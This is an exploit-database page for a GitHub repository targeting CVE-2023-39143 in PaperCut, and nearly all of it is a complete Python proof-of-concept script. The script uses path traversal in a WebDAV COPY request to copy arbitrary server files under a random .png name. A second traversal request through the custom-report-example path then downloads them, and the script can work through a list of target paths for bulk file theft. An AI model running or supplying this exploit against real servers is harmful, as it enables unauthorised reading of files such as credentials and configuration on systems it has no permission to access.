Exploit database

GH-b33f394aa06ac41aaf4c4fb6f134f057

foregenix/cve-2023-39143

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-39143

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
foregenix/cve-2023-39143Revision 4d7b5c6ad97d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

papercut_download.py

Python · 4,271 bytes
#!/usr/bin/env python3
import os
import sys
import argparse
import urllib3
import requests
import http.client
from urllib.parse import urljoin

def copy_file(base_url, username, password, target_path):
    import random, string
    dest_filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=16)) + '.png'

    copy_url = urljoin(base_url, f'/webdav/..\\..\\..\\{target_path}')
    headers = {'Destination': dest_filename}

    print(f"[+] Sending COPY request to: {copy_url}")
    print(f"[+] Destination filename: {dest_filename}")

    try:
        r = requests.request('COPY', copy_url, auth=(username, password), headers=headers, verify=False, timeout=120)

        if r.status_code == 404:
            print(f"[!] Error: 404 Not Found — invalid file path: {target_path}")
            return None

        r.raise_for_status()
        print(f"[+] COPY request successful: {r.status_code}")

    except requests.exceptions.HTTPError as e:
        print(f"[!] HTTP Error: {e}")
        return None

    download_url = urljoin(base_url, f'/custom-report-example/..\\..\\..\\data\\scan\\webdav\\{dest_filename}')
    print(f"[+] Downloading copied file from: {download_url}")

    try:
        r2 = requests.get(download_url, verify=False, timeout=120, stream=True)
        r2.raise_for_status()
        content = b''
        for chunk in r2.iter_content(chunk_size=8192):
            if chunk:
                content += chunk
        return content

    except requests.exceptions.ChunkedEncodingError as e:
        print(f"[!] ChunkedEncodingError: {e}")
        if hasattr(e, 'args') and isinstance(e.args[0], http.client.IncompleteRead):
            partial = e.args[0].partial
            print(f"[!] IncompleteRead: {len(partial)} bytes received, returning partial content.")
            return partial
        else:
            raise

def save_file(content, original_path, output_dir):
    normalized_path = original_path.replace('\\', '/')
    safe_rel_path = os.path.normpath(normalized_path).lstrip(os.sep).replace('..', '__')
    full_output_path = os.path.join(output_dir, safe_rel_path)

    try:
        os.makedirs(os.path.dirname(full_output_path), exist_ok=True)
        with open(full_output_path, 'wb') as f:
            f.write(content)
        print(f"[+] Saved copied file to: {full_output_path}")
    except Exception as e:
        print(f"[!] Failed to save file {original_path}: {e}")

def main():
    parser = argparse.ArgumentParser(description='Automate PaperCut WebDAV file copy and download')

    parser.add_argument('-u', '--url', required=True, help='Base URL of the PaperCut WebDAV server, e.g. https://x.x.x.x:9192')
    parser.add_argument('-U', '--username', required=True, help='Username for basic auth')
    parser.add_argument('-P', '--password', required=True, help='Password for basic auth')
    parser.add_argument('-o', '--output', default='.', help='Output directory to save files')

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-p', '--path', help='Single target file path to copy')
    group.add_argument('--file', help='File containing multiple target paths (one per line)')

    args = parser.parse_args()
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Check that URL uses HTTPS
    if not args.url.lower().startswith('https://'):
        print("[!] Error: WebDAV is only supported over HTTPS. Please provide a URL starting with https://")
        sys.exit(1)
        
    # Prepare path list
    paths = []
    if args.path:
        paths.append(args.path.strip())
    elif args.file:
        try:
            with open(args.file, 'r') as f:
                paths = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"[!] Failed to read path list: {e}")
            sys.exit(1)

    for path in paths:
        print(f"\n[+] Processing path: {path}")
        safe_path = path.replace('/', '\\')
        content = copy_file(args.url, args.username, args.password, safe_path)

        if content is None:
            print(f"[!] Skipping save for failed path: {path}")
            continue

        save_file(content, safe_path, args.output)

if __name__ == '__main__':
    main()